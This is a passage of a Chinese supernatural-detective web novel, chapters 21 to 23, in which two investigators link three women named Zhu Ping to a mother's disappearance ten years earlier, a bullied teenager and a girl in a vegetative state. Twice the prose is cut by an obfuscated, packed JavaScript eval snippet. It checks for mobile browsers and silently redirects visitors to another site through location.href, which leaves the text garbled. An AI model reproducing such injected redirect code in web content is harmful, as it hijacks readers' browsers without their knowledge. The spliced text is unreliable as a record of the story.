秦于理说:“好了,现在你可以说你刚刚想说的事情了。” 秋樰生空出一只手,将朱平的身份证掏出来往后递:“我遇见了一个奇怪的少年,他妈妈叫朱平。” 接着,秋樰生把自己进入污染区后先在马路上遇见浑浑噩噩的无名男孩,跟丢了他没多久,又在暴雨中的荒地里发现男孩的尸体,循着尸体身上的打火机找到王者至尊酒吧,结果又见证了男孩被人泼汽油烧死,以及想要循着男孩兜里朱平的身份证找人却发现小区早就被拆除的事简明扼要地讲了一遍。 “又是一个朱平,这是第三个了。”秦于理检查着那张身份证说。 “三个?除了你刚刚说的网暴被轻生的女孩,还有哪一个?” “隀明大剧院里是第一个,不过我和那个没见上面。”秦于理说。 接着,秦于理也把自己和方许恩遇见,发现两人被困在隀明大剧院一带反复循环,进入剧院看到了“朱平创作《野孩子》”的广告牌,随后进楼寻找这出音乐剧线索,结果遇到一个怪物,和方许恩约定茶餐厅碰面后分道扬镳,又进入城中村,遇到朱平妈妈给朱平烧纸的事说了一遍。 秋樰生听得很认真,等秦于理说完才开口:“三个不同年龄段不同身份的人都叫朱平,这也太巧合了吧。” “那你有没有想过他们彼此之间本来就有关联的可能性?” “比如……” “比如你那个反复死去活来的少年A曾经因为在网上胡说八道被人揍过,后来又到处找重生方法,我这边这个叫朱平的女孩恰巧近期因为在网上被人网暴,承受不住压力,最后选择了轻生,这两条线索是不是有可能连起来?” 秋樰生皱眉:“你是说,少年A和高中女生朱平可能分别是网暴事件中的加害者与受害人?” “有这个可能。” “那隀明大剧院的朱平呢?” “现在还不知道,那根线我没能触发,不过……”秦于理说,“方许恩那头也许已经有进展了。” …… 方许恩正坐在马路牙子上发呆。 眼前是车水马龙,身后是金光灿灿的现代七层建筑,上面挂着的牌子上写着“隀明新发展会展中心”。 肖浩带走了女孩平平以后,方许恩又后悔了,他试图追上去,把平平抢回来,结果前脚迈出隀明大剧院那个排练场,后脚就发现自己站在了繁华的市中心。 云上酒店就在斜后方,所以他应该还在隀明大剧院所在的位置,只是原本老旧的隀明大剧院不见了,取而代之的是集合了剧院、展会、大型会议室、文创孵化等多种功能于一体的隀明新发展会展中心。方许恩用钞能力询问了门童和路人,两边都告诉他,隀明大剧院的老建筑连同旁边的美食一条街早就在几年前就拆除了,眼前这栋七层高的会展中心就是在原址重建的优化升级版。 方许恩瞠目结舌,连着捏了自己大腿好几下,确定不是在做梦,随后才意识到,他可能无意中跟着秦于理一起掉进了某种旧日影像。 怪不得他记忆里看到的是人从七八层高掉下来的,或许那才是现实…… 等等! 方许恩猛然站起身,他迅速抬头看向会展中心高高的屋顶,从左到右看了一遍,接着又低头仔细查看脚下踩的广场,从右往左也扫视了一遍。光洁的大理石地面铺得很平整,压根就没有任何裂纹更不用说是血迹,方许恩脑海里清清楚楚记得的事情居然连一点印记都没留下。 “那也是旧日影像吗,还是……幻觉?” 方许恩额头冒出了细密的汗水,他是名艺术家,对于超现实的事情比一般人能接受,但是对于未知的恐惧和对于自己是不是疯了的怀疑也比一般人更严重。 会不会一切全都是梦?什么王洁琼、重生、隀明大剧院、小女孩平平……乃至,秦于理? 方许恩越想越是焦躁,不由得在原地来回踱步: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路边突然传来喇叭声,方许恩看过去,有辆黑色脏兮兮的奥迪靠在路边,车窗放下来,他看到了一个似曾相识的男人,然后,后车窗出现了秦于理的脸孔。 “秦……”方许恩激动得刚开了个口,抓住他的少年突然发疯一样高声嚷嚷起来:“你不是好人,你跟他们是一伙的,你们想杀我,你们都想杀我!我不会让你们得逞的!”说完,他便大叫着朝着会展中心狂奔。 附近的路人被这少年吓了一跳,纷纷投来质疑的目光,还有人看着方许恩已经开始按手机,方许恩有理由怀疑他们在报警。 “他认识朱平,我去找他!”方许恩冲着秦于理他们大喊了一声,追着少年往会展中心内跑去。 “我下去帮他!”秦于理把秋樰生的装备丢给他,“会不会用?” “腕表确认重生者,护目镜开启因果线场域……” “只有重生者再次面临生死关头才会触发完全的因果线场域开启,你要在合适的时机触碰到目标,进入场域后寻找到错误的因果线,把它剪断!” “好!”秋樰生突然反应过来,“你不带上我?” 秦于理已经下车跑出去了一段:“这事还有蹊跷,你去追另一条线!” “我去哪儿?” “香花医院,去查朱平,线索我留在后座上了!” “哪一个朱平?”秋樰生抓狂,脑海里是一个又一个朱平。 “到了你应该就知道了,到时候通讯联系,我们需要同步开启因果线场域!” 秋樰生看着秦于理飞快地跑远,想再多问两句也没机会。他长长吐了口浊气,一脚油门轰然踩下。 大约一刻钟后,秋樰生看到了老旧的马赛克砖面墙,一栋看起来年代久远的老式建筑的圆弧形门头上支棱着四个大字“香花医院”。 秋樰生到了。 秋樰生回过头,看到车子后座上扔着一本小本子,正是秦于理之前在看的那本。 21.第21章 十年雷雨 秋樰生背起装了设备的背包,拿着那本小本子,本子上有撕扯纸张的痕迹,狗爬似的,也不知道之前都记了些什么,好的点是,现在一打开就能看到秦于理关于这次事件的想法。 秦于理写“下雨”“干白石灰”“新的”,秋樰生很快在脑子里调出他与秦于理相遇时候的场景。在城中村四层楼建筑前的空地上有一个白石灰的圈,那是给亡者烧衣服盘缠用的,他们碰见时,秦于理正蹲在地面上用手捣鼓着什么。 秋樰生立刻意识到:“时机那么巧?” 秋樰生进城中村前观察过小区围墙,墙体湿润长满青苔,说明这里刚下过雨,进去的一路上他也看到了大大小小的水洼,但按照秦于理所记录的内容,那个白石灰画的圈子却是新的,也是干燥的,也就是说,高二女生朱平的母亲刚刚好在雨停以后秦于理来之前及时画了这个圈,给女儿烧去了东西,并让秦于理看了个正着。 秦于理下面一行写:“有灵位,没照片。” 这就更奇怪了!烧逝者用的东西一般是在人走的当天,虽然秋樰生不知道女孩朱平具体是哪天走的,也尚未完全确认少年A与她的霸凌关系,但明眼人一眼就能看出问题——如果人刚走,来不及制作供桌上的照片,怎么来得及刻灵位,可如果人已经走了一段时间了,怎么会刚刚才给她烧东西,还放了灵位不放照片? 这两种行为都有说不通的地方,秋樰生觉得自己隐隐触碰到了什么,线索在他脑海里窜来窜去,但还没完全组合起来。他又往下看,看到秦于理下面一行写的是“朱平死亡”,后面跟着一个大大的问号。 秦于理怀疑高二女生朱平没死?为什么? 翻过一页,秦于理在笔记本里夹了一小片焦黑的纸片,纸片上还残留了两个字,其中一个字只有一半,一个“方”字,后面跟了个竹字头。 方什么? 方……处方笺? 秋樰生现在明白秦于理是怎么找到香花医院的了。高二女生朱平家门口石灰圈里有烧掉的处方笺,说明他们家有人最近去过医院,可朱平妈妈急匆匆借着烧衣服的借口烧了处方笺,说明她不想让人知道这件事,香花医院是距离城中村不远的地段医院,如果女孩朱平现在还活着,那么就可以解释为什么她家里有灵位没照片,楼前匆匆画了新的白石灰圈,因为那本来就是做给外人看的,而且女孩子要是还活着,说不定会在香花医院留下过就医记录。 可如果高二女生朱平并没有死,那个当妈的为什么要故意对外人摆出那种架势来呢? 秋樰生想到了一种可能:“该不会……她是提前知道有重案组的人要去查她,才匆匆忙忙摆了个样子出来?” 这个想法一出,秋樰生立刻皱起了眉头,因为这代表着那名高二女生的母亲不仅知道隀明市存在一个重案组,而且还能大概掌握到他们的动向……这就有点太恐怖了! 秋樰生看到秦于理在下面写了几个字又涂掉了,仔细辨认后,他确认秦于理写的是“选择性重生?”。 “这又是什么意思?” 秋樰生面色凝重,一边翻看那本笔记一边已经走进了香花医院的大厅。这家医院占地不大,看诊的人也不多,大厅里只有三五个病人慢吞吞经过,大多是些本地老头老太来挂营养针治疗慢性病的,导诊台后面有个护士正百无聊赖地玩着手机。 秋樰生看第二页,秦于理写了“少年A、网络重生法学习”,这就是把秋樰生告诉她的信息也加入进去了,但她在两个关键词旁画了个箭头,写“反复重生”,再次划掉,改成了“不完全重生”,这次是两个叹号,指向前面写的“少年A”。 秋樰生鸡皮疙瘩都起来了。他曾两次目睹少年死亡,但或许是因为第一次在路上无意中遇见少年的时候,侦测器给出的数值并不高,他不知不觉就排除了无名少年是重生者的可能,可少年明明在他面前反复死去活来,而且第三次出现在秋樰生面前的时候,少年似乎不认得他了。 “不完全重生……”或许少年A的确是重生者,但由于他的重生不完全,所以他才会处于一种非生非死,或者说,一会儿生一会儿死的状态?可重生不是应该重生到别人躯体中吗,就像王洁……那个什么来着? 秋樰生用力捏了两下太阳穴。 重案组这个记忆修正后遗症真的挺可怕的,随着时间流逝,自己脑子里有过的东西逐渐消失了,又或者莫名其妙变了,本人还不会发现,只有再次回忆起那件事的时候,会突然产生一种没来由的违和感。秋樰生现在明白为什么重案组组员需要定期清理污染值了,因为脑子里的东西无法定义和理清,长期积累的话,和疯了也没什么区别。 导诊台的护士抬起头,看了秋樰生一眼,迅速低下头在手机上打字,跟着又抬头看他,还悄摸摸拿起了手机,一看就是要偷拍照片。 秋樰生大步走过去,用指关节扣了扣导诊台桌面,掏出证件亮了一下:“市局刑侦支队,了解点事情。” 护士拿着手机的手抖了一下,“咔擦”一声响起,她居然忘了关照相按键音。 见秋樰生看向手机,这护士肉眼可见的慌乱起来,立刻放下手机到处乱摸,把登记本,笔,体温表什么一股脑全摸了出来,又不知道要干什么,只能结结巴巴说:“同志,您等等,我去喊我们领导。” “不用那么麻烦。”秋樰生说,“做个初步调查,找你就行,不影响正常医疗秩序。” 小护士的脸飞快地红了,旁边路过的老头老太也不路过了,往大厅等候椅上一坐,装出很累的样子,实际伸长了耳朵,想要听点新鲜的。 “我想查一下这个人的就医记录。”秋樰生把秦于理写的本子推过去,手指着“朱平”两个字。 “好,”小护士敲打键盘,“男的女的,她是犯什么事儿了吗?” 秋樰生说:“女的,不要问多余的问题,你负不起责任。” 小护士有点尴尬,她滑动鼠标说:“这名字很常见,有十多条记录呢,您有更进一步的信息吗,比如身份证号或者社保卡号码什么的。” 秋樰生说:“是个高二学生,近期因为轻生被送过来抢救,家就住在附近的城中村。”秋樰生迅速回忆起那个老破城中村的地址,报了一下。 出人意外的是,香花医院记录里竟然没有这么一个朱平。 “你确定没有?” “没有,我骗您干吗,您可以自己看。” 秋樰生毫不犹豫翻进导诊台,伸头去看屏幕上出现的反馈。仅是性别为女的朱平有5条记录,但根据高二加上出生年的条件后,香花医院的库里就检索不到对应记录了。 难道朱平的年纪搞错了? 小护士看秋樰生不发一言,有点承受不住压力地解释说:“我们只是家地段医院,真要是轻生抢救这种事都会往第一人民医院之类的三甲送,您会不会找错地方了?” 秋樰生觉得秦于理不会犯这么低级的错误,突然有个苍老的声音插进来:“最近送过来的高中女生的话,我记得是有一个的。”不知什么时候,大厅里坐着的老头靠了过来,自然而然地加入了两人的对话。 “黄伯伯,您别乱说啊!”小护士着急道,“不好意思,他是我们院的老病人,年纪大了,有时候会犯糊涂。” “嘿,你这丫头才乱说,我脑子可好得很咧!”老头用拐杖点了点地,“我记得清清楚楚,半个月前不是来了个年轻女孩,说是吃了药变成了植物人什么的。” 植物人? “有这么个人吗?”秋樰生问。 小护士说:“有是有,但她不叫朱平啊,喏,她叫……”小护士调出记录给秋樰生看,那上面填写的名字是“朱雯婷”。 名字虽然不是朱平,但也姓朱。 秋樰生脑子里依稀有什么东西在成形,他说:“你带我去看看她。” “可朱雯婷现在不在我们这儿,今天上午她妈妈才把她接回去。”小护士说,“我们这儿没条件提供专门的植物人康复护理,所以只能处理些家里搞不定的情况,比如插鼻饲管,清理褥疮什么的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430545|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她妈妈叫什么名字,长什么样,你还记得吗?” “家属名字我们不知道,长什么样的话,就是普通中年妇女的样子,这要怎么形容啊?” 秋樰生突然想起秦于理的笔记本,他拿起来又翻了一页,令他感到意外的是,秦于理似乎早有准备,就在刚刚坐车的短暂时间里,她用圆珠笔粗略勾勒了一张女人的脸孔出来。秋樰生将本子伸过去问小护士:“是这个人吗?” 小护士认真看了会儿,点头:“应该是她。” “谢谢!”秋樰生觉得自己已经得到了秦于理要他寻找的线索,原来那个轻生的高二女生并不叫朱平,她叫朱雯婷,人也没有死,而是变成了植物人。说不定,秦于理之前找到她们家的时候,那名女孩子就静静躺在家里某个地方。 可为什么她母亲要撒谎骗秦于理说自己女儿死了,又为什么她在灵位上刻的死者名字是“朱平”呢? “我们需要同步开启因果线场域!”秦于理临走前丢下的话在秋樰生脑中想起,他是要在香花医院里开启因果线场域吗?可这里既没有重生者,更谈不上让重生者面临生死抉择啊! 应该还是要回到城中村朱家看看。秋樰生想着,对小护士道了声谢,转身往外走,然而,他才走出大门,就听到后面有人喊他:“小伙子,等一等!小伙子!” 秋樰生回过头,就见刚刚那个拄拐老头不怎么灵巧地竭力跟了上来:“我想到个事儿,不知道你要不要听。” 秋樰生问:“什么事,您说?” 大爷喘了会儿气才说:“你刚刚说朱平那个名字,我有印象,就是年纪对不上,她是我们一个老街坊。” “您是哪条街哪个小区的?” “现在我搬家咯,以前我们都住香河路112弄……” 大爷话还没说完,秋樰生突然眼神一凛,他从口袋里摸出朱平1984的身份证递过去,问他:“大爷,您看看,是这个人吗?” 大爷接过去只看了一眼,就下了结论:“对对,就是她,唉,也是个可怜人啊。” 秋樰生问:“她怎么了?” 大爷说:“十年前,那女的失踪了。” “失踪……”秋樰生想起王者至尊网吧里网管说过的话,一个来接少年回家的恶毒的老太太骂自己的儿媳妇跟野男人跑了。秋樰生问:“她是跟谁走了吗?” “唉,那都是他们家那老太婆传出来的。我告诉你,大爷我啊,一直觉得那女娃失踪得很蹊跷。” “为什么?” “因为她男人打她!”大爷义愤填膺地说,“那女娃长得好看,唱歌也好听,以前隀明老剧院还在的时候,她常去那里当志愿者表演节目,可她男人和婆婆都不喜欢她抛头露脸,知道一次就打一次,回回打得浑身是伤。十年前有一晚,那雷阵雨下得大的哟,左邻右舍半夜听到他们家又在闹,女的边哭边喊救命,后来听到‘啊’的一声惨叫,再接着就没声了。” “当时没人报警或是出门看看吗?” “她男人很凶,当屠夫的,人高马大,没人敢惹他。再说了,外面雨下那么大,平时他们家也经常闹腾,大家都习惯了不是?”大爷的声音越说越低,显然他也觉得有点站不住理。 “后来呢?” “后来,天晴了,那女的没出现,她老公说她赌气跑回娘家了。大家都觉得她是像以往一样,挨了打,起不来床,得养一阵子才出来见人。谁想到,她后来再也没出现过了。他们家里人后来也报过警,社区民警来看过,但是没找到线索,期间,她婆婆就到处说那女娃是丢下孩子跟野男人跑了,天天骂骂咧咧的。几年前,白渡区撤区动迁,老街坊们走的走,散的散,他们家本来就人缘不好,大家都不知道他们搬去了哪里,这事也就没人追究了。” 秋樰生问:“他们?” “嗯。”大爷说,“女的失踪了以后,剩下她婆婆、老公,还有一个六七岁的儿子,我记得好像叫英俊吧,这么一算,今年也该是高中生了。” 线索,好像串起来了! 22.第22章 交叠空间 秋樰生忽而感到背后有东西震荡,他打开背包一看,果然是那副护目镜正在发出亮光并不断震动。 秋樰生将护目镜扣到耳朵上,眼前先是一片漆黑,而后有莹莹的红色光芒亮了起来,有行字投影在面前:“有通讯接入,请速连接。” 秋樰生压根不知道怎么连接,因为那副护目镜上看不到按钮,他伸手想去摸一下,指尖刚碰触到护目镜上,便听到轻轻的“哔”的一声,而后一串声音便传了过来。 “你们别过来,你们再过来,我就从这里跳下去!” “你别冲动,我们不是坏人,我是音乐家,你忘了吗,她?她是警察,是来帮你的!” 应该是方许恩和那名少年A,不,现在应该叫他少年英俊了。 秦于理略带冷意的声音跟着传了过来:“预备同步开启因果场域。” 秋樰生急了:“香花医院没有重生者,那个高二女生不叫朱平叫朱雯婷,她还没有死,只是变成了植物人,我怀疑她此时还在家里,她妈妈骗了我们!” 秦于理那边很自然地说:“知道了。” “知道?!知道那你就应该明白,我现在没有办法开启因果场域,是你自己说的,要在重生者遇见生死抉择的正确时间点触碰重生者,我还在往城中村赶!” “来不及了……”秦于理的话还没说完,秋樰生便听到那头方许恩惊叫了一声,跟着他就听到了快速奔跑声,然后……然后秋樰生的眼前突然像是有什么东西爆炸了一样,一瞬间无数光影向着他扑面而来。秋樰生几乎被这暴雪般的景象刺激到,下意识就要摘掉护目镜,但关键时刻,秦于理的声音响起:“忍着,我这里开始了。” 秋樰生的手停在了半空中。 他不知道自己现在是个什么样子,刚刚那个给他提供十年前情报的大爷可能还没走,如果看到他现在的样子说不好要吓到,但秋樰生此时已经顾不上这些了,因为在短暂的光影轰炸过后,他眼前的世界再度归于黑暗,然后,一点点的,他看到了街景,看到了马路,看到了自己那辆车子,但它们都在此时化作了一根根黯淡无光的线条,像是CAD构建的图纸。 秋樰生进入了一个二维线性的世界,眼前的世界都被解构成线条,他在其中看到一根带着黑气的暗红色的线从他面前经过,延展向远方。 那根线跟其他线条都不一样,秋樰生回头,发现线是从香花医院里伸展而出的,它穿过道路,延伸向某个方向。 “是那个城中村!” “咳咳。”一个清脆甜美的声音响起,“0000在吗,0000?” 秋樰生反应过来:“赵萌萌?” 赵萌萌在耳机里长出了一口气:“太好了,秋队,你果然没让我失望!” 秋樰生很想给这诓他进来的小丫头一个板栗,但现在不是时候。 赵萌萌说:“鲤鱼姐那边已经进入因果场域了,你也必须快点就位。现在你所在的不是现实世界,是现实和因果的叠加层,所以不用担心会被现实障碍物碰到,但是……” 秋樰生其实还没听完赵萌萌的话就已经跳上了车,他踩下油门,凭着本能追逐着那根线。 这感觉古怪极了! 眼前的世界是完全线性的,看不到人,建筑物则变成了线性封闭结构,秋樰生光顾着追逐那根线,以至于那根线穿过一堵墙的时候,秋樰生也下意识地跟了上去,当他发现的时候已经来不及了,秋樰生做好了自己会撞车的准备,然而,那个封闭的立体建筑图却在秋樰生眼前突然坍缩,像薄薄的纸片一样被他轧在轮子下面,等他离开后又变回了原样。 “还能这样?!” 秋樰生不知道这是个什么样的世界,但他有点兴奋。第一次,他觉得重案组的工作有点新奇。然而,下一秒,秋樰生忽然感到一股强烈的杀气从上方落下,他在千钧一发之际凭借着反应神经打开车门跳了出去,在地上快速翻滚中,他看到几根不知从哪里出现的黑色钢丝发出令人难受的刺啦刺啦声响,将他的车子卷进其中,就像用线切豆腐一样,瞬间将他的车切得四分五裂。 秋樰生惊出一身冷汗,赵萌萌说:“嗯,就是这样,虽然现实的障碍物伤不到你,但因果的世界本来就是充满危险的,何况你还是在夹层里。” 秋樰生起身奔跑,问:“你看得到我这里的画面?” “可以算看得到吧,不然怎么做场外支援?” “什么叫可以算看得到?” “总之你放心,办案记录都是实时过期的,不用担心流出去影响你堂堂秋队的名誉!” 他倒也没想到这一层……秋樰生边听边继续前进,那些黑色的钢丝一击未成并没有退却,反而如同跗骨之蛆紧紧追着他,试图将他杀死。 秋樰生一开始还不怎么适应这个线条世界,吃了点儿亏,但在发现其他的线条是可以触碰、握住、调整的以后,他迅速掌握了要领,开启了跑酷模式。秋樰生的动作很快灵活自如起来,速度也提了上来,甚至比之前开车更快,短短几分钟,他已经跑出去很远一段,并且大概掌握了与那些从天而降的黑色线条周旋的能力。 “不愧是新0000,你的学习能力好强!”赵萌萌惊叹。 秋樰生奔跑起跳,空中踩踏墙面向上跃起,顺势伸手一抓,将墙的上缘线抓到手,那根笔直的线居然荡下来一截,仿佛有了弹性,随后他便借助核心力量,横着跳过了那栋建筑,就像一名跳高健将。 “说重点,秦于理是不是还有别的事要传达给我?” 很明显的,因果场域接通以后,秦于理短暂与秋樰生对话后便没了声音,说明她那边已经先进入了下一步,而来不及传达给他的东西,就必须通过赵萌萌这个第三方来传递,不然要这个中介何用,真当个普通场外援助使吗? “是的,鲤鱼姐让我转告你方许恩那边遇到的朱平是一名热爱唱歌,但常年遭受家暴的妇女,她老公叫肖浩……” “朱平原本住在幸福小区,儿子叫肖英俊,就是那名反复死去活来的少年,十年前的一个雷雨夜,她在家里被老公肖浩殴打后失踪,没人再见过她,她婆婆和丈夫对外宣称她和野男人跑了,但我认为她已经不在人世。” “哗,你知道的真多,我同步给鲤鱼姐!” 秋樰生已经看到了城中村的轮廓,和其他的线条世界不同,这里的线条更为复杂,并且黑气蒸腾,不少线条上面吊着一个个黑色的、可疑的铃铛。秋樰生怀疑,一旦触碰到那些铃铛,可能会发生对己方更不利的事情。 秋樰生问:“我还有多久时间?” “15秒内必须接触到重生者!” 秋樰生在城中村外稍微停顿,调整好呼吸,像一头矫健的猎豹,一头撞了进去。 一瞬间,他的入侵似乎惊动了整个城中村线条阵,无数铃铛无风自扰,纷纷响起,秋樰生的脑海里刹时被各种铃音所覆盖。 “砰”的一声,一条铁链重重抽打在秋樰生刚刚站立的地方,他要不是眼疾手快,向侧面翻滚而出,恐怕早就被抽了个半身不遂。 “砰砰砰砰!”数十根孩臂粗的生锈锁链从四面八方射向秋樰生,撵得秋樰生连跑带跳。“轰”的一声,眼前的线条民房轰然倒塌,原本利落清晰的房屋结构变成了无数根乱线,像被猫搅乱的毛线团,一股脑儿缠向秋樰生。这次没有闪避的余地了,秋樰生拔出枪支发射。 “普通子弹没有用!”赵萌萌大喊,秋樰生忽然感到眼前一花,不知为什么,周围的铃声一瞬间失真甚至停止,秋樰生发现那些笼罩向自己的铁链铁索似乎都被放慢了无数倍速,而他的行动却没有受到影响。 他看到了一条清晰的“路”。金色的亮光在空中拖出一条光弧,像夏夜萤火虫微弱却坚定的光芒,秋樰生跟着那条光弧以不可思议的姿势穿越过重重线阵,等到秋樰生完全冲了出去,“丁零当啷”的声音在他身后响成一团,像是无数根挂着铃铛的线被扯断,扔到了地上。 秋樰生抬头发现自己站在了四层楼高的建筑前,红黑色的线在此处半空中纷乱地围了一团又一团,像一只蛾子的茧。此时那根香花医院来的线尾正在飞快地向里收缩,似乎想要在遭到侵入前,钻回老巢,封闭最后一个口子。 秋樰生没有停顿,他再次奔跑起跳,两个起落荡到了二层高度,在最后一根线收尾前,追着它团身钻进了那团“茧子”里。 “砰咚——砰咚——砰咚!”心跳三下,险些窒息的感觉过去,秋樰生吐出一口浊气,大口大口汲取着氧 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秦于理也不知道是没有听到秋樰生讲话还是不愿回答,她说:“我倒数3秒,我们一起碰触因果线,3、2、1。” 秋樰生在心里骂了一句,赶紧伸手拽住那根垂落在母女之间的线,眼前一片光影斑驳,秋樰生听到轰隆隆的车辆引擎声和窸窸窣窣的人声,鼻子里闻到一股混杂着汽油和人汗水的杂味儿,随后他的眼前出现了那对母女。 秋樰生环顾四周,发现他此时正在一辆公交车的车厢内,车子行驶在山路上,外面是下着雨的黑夜。母亲正在昏暗的路灯光影里给女儿剥鸡蛋,她的面容比秦于理在本子上画的更年轻些,旁边的朱雯婷看起来才六七岁。 “妈妈,我真的不能加入合唱班吗,老师说她可以帮我申请学费便宜点的。”女孩张嘴在母亲递过来的水煮蛋上小小咬了一口,满含着期待问。 “妈妈想过了,咱们还是算了吧。婷婷,你也知道咱们家条件不好,就算学费再优惠那也是额外开销,再说了,虽然老师现在觉得你基础不错,可你死去的爸爸和妈妈我都没有这方面的天赋,咱们和那些父母专业还有家底的最后终究是没法比的,比不过却还花钱花时间走这条路,不是受冤枉罪吗?听妈妈的话,咱们选个别的兴趣班,比如,书法班好不好啊?” 婷婷显然有很是失望,但她最后还是乖巧地点了点头:“好吧,妈妈。我们还要坐多久才能到家啊,天好黑哦,我困了。” “困就睡会儿,就是因为下雨,司机叔叔才要把车开得比平时慢一点,这样才安全,对不对?”母亲将蛋黄取出来放到自己嘴里,蛋白继续喂给女儿,“等回到家,妈妈给你……” 一声惊雷响起,在山间形成回响,仿佛野兽的咆哮被放大了无数倍,朱雯婷吓得一下子缩进了妈妈怀里:“妈妈,我怕!” “这鬼天气!”不知是谁骂了一句,暴雨瓢泼而下,噼里啪啦地打在了窗玻璃上。 秋樰生伸手想要摸摸眼前的景象是真是幻,但是他刚刚伸出手去,忽然便感觉整个人站立不稳,往后倒去。 “叭叭——”喇叭轰鸣,剧烈的刹车摩擦声和轮胎打滑声同时响起,雪亮的车灯交汇,车厢里的人们发出惊呼,伴随着“咚”的一声巨响,眼前的场景像是被丢进了滚筒洗衣机,360度剧烈翻滚。 一切发生得那么快,秋樰生回过神来的时候,发现自己已经站在了一片湿漉漉的草丛中。 山林特有的气息钻入鼻尖,轰隆又是一声闷雷,秋樰生借着闪电看清了面前的一切,不由得变了脸色。 公交车栽下了悬崖,地上躺的横七竖八全是被甩落的乘客,一对母女就躺在秋樰生眼前不远处,正是朱雯婷和她的妈妈。母亲搂着女儿,两人紧紧抱在一起,满身伤痕,身下的鲜血已经积起了一大摊。 冰冷的大雨淋下来,那个母亲渐渐开始动弹,她睁开眼睛,迷惑地看向周围,当看到自己女儿染血的脸孔时,表情一下子失控:“婷婷!婷婷,你醒醒,别吓妈妈啊!”女人哭嚎着抱起女儿,“救命啊,谁来救救我们!” “朱雯婷死了,”秋樰生想,“所以,这次的重生嫌疑犯,是肖英俊和朱雯……不,是肖英俊和重生成朱雯婷的朱平母子俩吧。” 23.第23章 重生者涟漪 秦于理站在校园林荫道上,那个刚刚从会展中心楼顶跳落的少年此时正背着书包从她面前无精打采地经过。 男孩子的校服脏兮兮的,头发也不干净,头皮屑混在油腻腻的发丝里,明明长得不算丑,但看起来实在让人没有好感。 几个同样穿着校服的女同学迎面走来,远远看到他不由都愣了一下,有人立刻拐了个弯,改走别的路,剩下一些虽然没掉头,但都低下头,装作看不见他的样子,加快脚步几乎是小跑着从他面前经过。 “肖英俊看来在学校里很没有人缘。”秦于理得出结论。 “哟,我还当是谁呢,这不是肖少爷吗?” 三名流里流气的少年走过来,站没站相地拦在肖英俊跟前。 肖英俊飞快地看了他们一眼,一低头,也加快脚步,试图绕过他们。 “喂,叫你一声肖少爷你还真当自己是少爷啦?” “就是,见了咱们哥几个,连声招呼都不打就想走?” 两名少年伸开手,拦住了肖英俊,肖英俊攥着书包背带的手紧了紧,发出蚊子一般的声音:“陆哥、赵哥、陈哥,我要上课去了。” “上你个鬼啊!”最先打招呼的少年显然是三人团体的头,他长得最高,一身腱子肉一看就不好惹,这人走上前,突然伸手推搡了肖英俊一把,肖英俊不由得往后倒退了两步,险些没站稳。 “你……” “你什么你!” 肖英俊咬着牙,一声不吭。 “哟,这是跟谁置气哪,总不会是我们几个吧?肖英俊,你还知道自己是谁吗?” “我不敢。陆哥,我迟到好几次了,老师说再迟到就要处分我了,求求你们……”肖英俊的话还没说完,那个叫陆哥的已经抬起长腿,一脚狠狠踢在他的肚子上。 肖英俊发出一声闷哼,当即倒地,抱着肚子痛苦地呻吟。 “你他妈活该被处分,居然敢偷拍老子的马子,谁借你的胆子,谁借你的?嗯?”陆哥只是使了个眼色,旁边的小弟便迅速出手将肖英俊抓住,摁着他跪在地上。 “嘶!”肖英俊倒抽一口冷气,陆哥抓着他的头发,强行将他的头抬了起来。少年的脸因为刚刚摔倒蹭破了很大一片,此时正慢慢渗出血来,一边脸颊也迅速肿了起来。 陆哥抬手就是一巴掌:“傲什么傲,老子不喜欢你看我的眼神!” “就是,死变态,你也配直视我们陆哥!”几个小弟跟着嚷嚷,按着肖英俊,踢踹他的身体。 “我、我没有……是误会,我没有偷拍珍姐,我是想拍她旁边那个女……”话没说完,脑袋上又挨了重重一下。 “那是我马子的朋友!我告诉你,从现在开始,你给我离她们远点,不然我打死你!”陆哥站起身来,“走!” 小弟们陆续松开肖英俊,但临走都要补上一拳或是一脚,大约是在对大哥表忠心。 “死变态,竟然给我跑到女□□,流氓都看不起你!” “他妈在他小时候就跟野男人跑啦,有什么娘就有什么样的儿子呗,杂种!” 三个人骂骂咧咧地走远,没有人阻拦他们,反而还有女孩子在旁边偷偷摸摸用手机照下这一幕,三个少年像英雄一般大喇喇地退了场。 与之相反,肖英俊这里根本没人帮忙。同学们见到倒在地上的他都飞快地绕路走过。一名扎马尾辫的漂亮女孩经过的时候还回头骂了一口:“活该,人渣!” 上课铃声响起,学生们像飞鸟一般钻入了巢穴,只有肖英俊一个人依然躺倒在林荫道上。他翻了个身,仰面朝天望着上空,好大一会儿没有开口。秦于理就站在他身边,但少年看不见她。过了会儿,秦于理听到少年慢慢开口:“贱女人,都是你害我!你要是还在,老头子怎么会天天揍我,该死,所有女人都该死!” 少年脸上露出狰狞的表情,那一瞬,他看起来像只尚未完全成熟的恶鬼! …… 再次回到因果线的空间,秦于理顺着红黑色的线往前找去,线条在她面前错综复杂地翻转,比起黎曼红那一回,这次的线条既多很多,构成也更复杂。 “朱雯婷小时候和她妈妈去声乐班面试,老师看中了她,但她妈妈以家庭条件没法负担和没有过硬天赋为理由拒绝了,从老师那里回家的路上,他们乘坐的公交车发生车祸,不幸翻落悬崖,朱雯婷死了。” 【秋樰生】的声音响起,夹带着杂音。 “朱雯婷,十年前就死了吗?”秦于理听着,同时手上也没忘动作。她小心翼翼观察着两根几乎完全拧绞在一起的线,其中一根是红黑色,另一根也是,但仔细看,似乎一根粗而新一些,另一根细而旧一些。 不同粗细的因果线受到同样的搅扰时会产生不同的震荡。 秦于理循着两根线的延展看向左右两端,两边都有拧绞在一起的节点。她想了一下,轻轻朝着两根线吹了一口气。 